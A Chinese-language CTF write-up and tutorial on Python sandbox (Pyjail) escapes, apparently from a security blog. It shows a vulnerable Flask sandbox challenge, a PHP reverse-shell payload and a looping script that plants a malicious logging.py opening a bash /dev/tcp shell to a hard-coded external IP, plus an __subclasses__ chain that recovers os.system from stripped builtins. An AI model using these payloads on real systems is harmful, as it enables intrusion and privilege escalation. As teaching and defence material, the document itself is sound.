openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_constants.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/re/__pycache__/_casefix.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/copyreg.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/traceback.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/collections/__pycache__/abc.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/linecache.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/tokenize.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/token.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/textwrap.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/contextlib.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/weakref.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/_weakrefset.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/string.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/python3.12/__pycache__/threading.cpython-312.pyc", O_RDONLY|O_CLOEXEC) = 3
+++ exited with 0 +++
┌──(kali㉿kali)-[~]
└─$
```
所以,只要我们能够再当前目录上传一个logging.py文件,在基于文件的subprocess沙箱,就可以被轻松绕过了。
例如巅峰极客的一道题
```py
from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets
app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} &amp;&amp; chown www-data /sandbox/{id} &amp;&amp; chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')
@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} &amp;&amp; rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py &amp;&amp; cd /sandbox/{user_id} &amp;&amp; sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()
result = os.popen(f'cd /sandbox/{user_id} &amp;&amp; sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} &amp;&amp; rm *').read()
working_id.remove(user_id)
return result
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=p80)
```
在这题中我们就是要通过死循环写logging.py,条件竞争最终实现提权的
具体操作如下:
先启动一个用户1来实现反弹nobody权限的shell
```php
&lt;?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");\'');?&gt;
```
然后使用死循环来实现存在恶意logging.py:
```php
echo "__import__('os').popen('bash -c \"bash -i &gt;&amp; /dev/tcp/124.222.136.33/1338 0&gt;&amp;1\"')" &gt; /tmp/logging.py
echo "while true; do" &gt;&gt; /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" &gt;&gt; /tmp/exp.sh
echo "done" &gt;&gt; /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh
```
启动用户二(aaaaaaa2),随便传内容来触发即可</textarea>
<div id=layer-photos-demo>
<div id=md_view><div class=markdown-body><h1 blockindex=0>开篇</h1>
<p blockindex=1>本文会带你了解一些绕过Pyjail的高级技巧,其实绕过过滤无非就是两种操作:<strong>替换</strong><strong>通过更加底层的手段在实现</strong>,所以,我们先来了解一下Python这门语言的底层特性并且以此来展示对应的Pyjail绕过手法</p>
<h1 blockindex=2>全局变量</h1>
<p blockindex=3>这是基础知识,<code>globals</code>顾名思义就是公共的变量空间,里面包括你定义或者系统自带的全局变量,而由于函数也是特殊的对象变量,所以像是<code>__builtins__</code>里面的基础函数如<code>len</code>,<code>print</code>,<code>eval</code>这些的可以看作特殊的全局变量</p>
<pre blockindex=4><code class="hljs language-py"><span class=hljs-meta>&gt;&gt;&gt; </span><span class=hljs-built_in>dir</span>(<span class=hljs-built_in>globals</span>()[<span class=hljs-string>'__builtins__'</span>])
[<span class=hljs-string>'ArithmeticError'</span>, <span class=hljs-string>'AssertionError'</span>, <span class=hljs-string>'AttributeError'</span>, <span class=hljs-string>'BaseException'</span>, <span class=hljs-string>'BaseExceptionGroup'</span>,
<span class=hljs-string>'BlockingIOError'</span>, <span class=hljs-string>'BrokenPipeError'</span>, <span class=hljs-string>'BufferError'</span>, <span class=hljs-string>'BytesWarning'</span>, <span class=hljs-string>'ChildProcessError'</span>, <span class=hljs-string>'ConnectionAbortedError'</span>, <span class=hljs-string>'ConnectionError'</span>, <span class=hljs-string>'ConnectionRefusedError'</span>, <span class=hljs-string>'ConnectionResetError'</span>, <span class=hljs-string>'DeprecationWarning'</span>, <span class=hljs-string>'EOFError'</span>, <span class=hljs-string>'Ellipsis'</span>, <span class=hljs-string>'EncodingWarning'</span>, <span class=hljs-string>'EnvironmentError'</span>, <span class=hljs-string>'Exception'</span>, <span class=hljs-string>'ExceptionGroup'</span>, <span class=hljs-string>'False'</span>, <span class=hljs-string>'FileExistsError'</span>, <span class=hljs-string>'FileNotFoundError'</span>, <span class=hljs-string>'FloatingPointError'</span>, <span class=hljs-string>'FutureWarning'</span>, <span class=hljs-string>'GeneratorExit'</span>, <span class=hljs-string>'IOError'</span>, <span class=hljs-string>'ImportError'</span>, <span class=hljs-string>'ImportWarning'</span>, <span class=hljs-string>'IndentationError'</span>, <span class=hljs-string>'IndexError'</span>, <span class=hljs-string>'InterruptedError'</span>, <span class=hljs-string>'IsADirectoryError'</span>, <span class=hljs-string>'KeyError'</span>, <span class=hljs-string>'KeyboardInterrupt'</span>, <span class=hljs-string>'LookupError'</span>, <span class=hljs-string>'MemoryError'</span>, <span class=hljs-string>'ModuleNotFoundError'</span>, <span class=hljs-string>'NameError'</span>, <span class=hljs-string>'None'</span>, <span class=hljs-string>'NotADirectoryError'</span>, <span class=hljs-string>'NotImplemented'</span>, <span class=hljs-string>'NotImplementedError'</span>, <span class=hljs-string>'OSError'</span>, <span class=hljs-string>'OverflowError'</span>, <span class=hljs-string>'PendingDeprecationWarning'</span>, <span class=hljs-string>'PermissionError'</span>, <span class=hljs-string>'ProcessLookupError'</span>, <span class=hljs-string>'RecursionError'</span>, <span class=hljs-string>'ReferenceError'</span>, <span class=hljs-string>'ResourceWarning'</span>, <span class=hljs-string>'RuntimeError'</span>, <span class=hljs-string>'RuntimeWarning'</span>, <span class=hljs-string>'StopAsyncIteration'</span>, <span class=hljs-string>'StopIteration'</span>, <span class=hljs-string>'SyntaxError'</span>, <span class=hljs-string>'SyntaxWarning'</span>, <span class=hljs-string>'SystemError'</span>, <span class=hljs-string>'SystemExit'</span>, <span class=hljs-string>'TabError'</span>, <span class=hljs-string>'TimeoutError'</span>, <span class=hljs-string>'True'</span>, <span class=hljs-string>'TypeError'</span>, <span class=hljs-string>'UnboundLocalError'</span>, <span class=hljs-string>'UnicodeDecodeError'</span>, <span class=hljs-string>'UnicodeEncodeError'</span>, <span class=hljs-string>'UnicodeError'</span>, <span class=hljs-string>'UnicodeTranslateError'</span>, <span class=hljs-string>'UnicodeWarning'</span>, <span class=hljs-string>'UserWarning'</span>, <span class=hljs-string>'ValueError'</span>, <span class=hljs-string>'Warning'</span>, <span class=hljs-string>'ZeroDivisionError'</span>, <span class=hljs-string>'_'</span>, <span class=hljs-string>'__build_class__'</span>, <span class=hljs-string>'__debug__'</span>, <span class=hljs-string>'__doc__'</span>, <span class=hljs-string>'__import__'</span>, <span class=hljs-string>'__loader__'</span>, <span class=hljs-string>'__name__'</span>, <span class=hljs-string>'__package__'</span>, <span class=hljs-string>'__spec__'</span>,
<span class=hljs-string>'abs'</span>, <span class=hljs-string>'aiter'</span>, <span class=hljs-string>'all'</span>, <span class=hljs-string>'anext'</span>, <span class=hljs-string>'any'</span>, <span class=hljs-string>'ascii'</span>, <span class=hljs-string>'bin'</span>, <span class=hljs-string>'bool'</span>, <span class=hljs-string>'breakpoint'</span>, <span class=hljs-string>'bytearray'</span>, <span class=hljs-string>'bytes'</span>, <span class=hljs-string>'callable'</span>, <span class=hljs-string>'chr'</span>, <span class=hljs-string>'classmethod'</span>, <span class=hljs-string>'compile'</span>, <span class=hljs-string>'complex'</span>, <span class=hljs-string>'copyright'</span>, <span class=hljs-string>'credits'</span>, <span class=hljs-string>'delattr'</span>,
<span class=hljs-string>'dict'</span>, <span class=hljs-string>'dir'</span>, <span class=hljs-string>'divmod'</span>, <span class=hljs-string>'enumerate'</span>, <span class=hljs-string>'eval'</span>, <span class=hljs-string>'exec'</span>, <span class=hljs-string>'exit'</span>, <span class=hljs-string>'filter'</span>, <span class=hljs-string>'float'</span>, <span class=hljs-string>'format'</span>, <span class=hljs-string>'frozenset'</span>, <span class=hljs-string>'getattr'</span>, <span class=hljs-string>'globals'</span>, <span class=hljs-string>'hasattr'</span>, <span class=hljs-string>'hash'</span>, <span class=hljs-string>'help'</span>, <span class=hljs-string>'hex'</span>, <span class=hljs-string>'id'</span>, <span class=hljs-string>'input'</span>, <span class=hljs-string>'int'</span>, <span class=hljs-string>'isinstance'</span>, <span class=hljs-string>'issubclass'</span>, <span class=hljs-string>'iter'</span>, <span class=hljs-string>'len'</span>, <span class=hljs-string>'license'</span>, <span class=hljs-string>'list'</span>, <span class=hljs-string>'locals'</span>, <span class=hljs-string>'map'</span>, <span class=hljs-string>'max'</span>, <span class=hljs-string>'memoryview'</span>, <span class=hljs-string>'min'</span>, <span class=hljs-string>'next'</span>, <span class=hljs-string>'object'</span>, <span class=hljs-string>'oct'</span>, <span class=hljs-string>'open'</span>, <span class=hljs-string>'ord'</span>, <span class=hljs-string>'pow'</span>, <span class=hljs-string>'print'</span>, <span class=hljs-string>'property'</span>, <span class=hljs-string>'quit'</span>, <span class=hljs-string>'range'</span>, <span class=hljs-string>'repr'</span>, <span class=hljs-string>'reversed'</span>, <span class=hljs-string>'round'</span>, <span class=hljs-string>'set'</span>, <span class=hljs-string>'setattr'</span>, <span class=hljs-string>'slice'</span>, <span class=hljs-string>'sorted'</span>, <span class=hljs-string>'staticmethod'</span>, <span class=hljs-string>'str'</span>, <span class=hljs-string>'sum'</span>, <span class=hljs-string>'super'</span>, <span class=hljs-string>'tuple'</span>, <span class=hljs-string>'type'</span>, <span class=hljs-string>'vars'</span>, <span class=hljs-string>'zip'</span>]
&gt;&gt;&gt;
</code></pre>
<p blockindex=5>这个就是所有Py3.12的内置函数了。</p>
<h2 blockindex=6>Blue Team:消除对应的高危的函数</h2>
<p blockindex=7>例如我在一个执行数学计算的python环境中,我并不需要像是<code>getattr</code>,<code>__import__</code>,<code>map</code>这些设计到代码执行的高危函数,所以为了保证安全我完全可以把这些内置函数给消除。就像这样:</p>
<pre blockindex=8><code class="hljs language-py"><span class=hljs-meta>&gt;&gt;&gt; </span>expression=<span class=hljs-string>'a'</span>
<span class=hljs-meta>&gt;&gt;&gt; </span>context={<span class=hljs-string>'a'</span>:<span class=hljs-number>123</span>}
<span class=hljs-meta>&gt;&gt;&gt; </span><span class=hljs-built_in>eval</span>(expression, {<span class=hljs-string>"__builtins__"</span>: {}}, context)
<span class=hljs-number>123</span>
<span class=hljs-meta>&gt;&gt;&gt; </span>expression=<span class=hljs-string>'__import__("os").system("ls")'</span>
<span class=hljs-meta>&gt;&gt;&gt; </span><span class=hljs-built_in>eval</span>(expression, {<span class=hljs-string>"__builtins__"</span>: {}}, context)
Traceback (most recent call last):
File <span class=hljs-string>"&lt;stdin&gt;"</span>, line <span class=hljs-number>1</span>, <span class=hljs-keyword>in</span> &lt;module&gt;
File <span class=hljs-string>"&lt;string&gt;"</span>, line <span class=hljs-number>1</span>, <span class=hljs-keyword>in</span> &lt;module&gt;
NameError: name <span class=hljs-string>'__import__'</span> <span class=hljs-keyword>is</span> <span class=hljs-keyword>not</span> defined
&gt;&gt;&gt;
</code></pre>
<p blockindex=9>这样就去除了所有的内置方式,只保留了基础的数学计算的功能,但其实这个还是不够安全的</p>
<h2 blockindex=10>Red Team:</h2>
<p blockindex=11>例如我可以通过不断回溯上一个<code>__class__</code>并且通过<code>__subclesses__</code>查找子类,最终通过<code>_wrap_close</code>类就能够实现最终实现提取到全局变量重获<code>__builtins__</code></p>
<pre blockindex=12><code class="hljs language-py">[ x.__init__.__globals__ <span class=hljs-keyword>for</span> x <span class=hljs-keyword>in</span> <span class=hljs-string>''</span>.__class__.__base__.__subclasses__() <span class=hljs-keyword>if</span> x.__name__==<span class=hljs-string>"_wrap_close"</span>][<span class=hljs-number>0</span>][<span class=hljs-string>"system"</span>](<span class=hljs-string>'ls'</span>)
</code></pre>
<p blockindex=13><img src="data:image/png;base64,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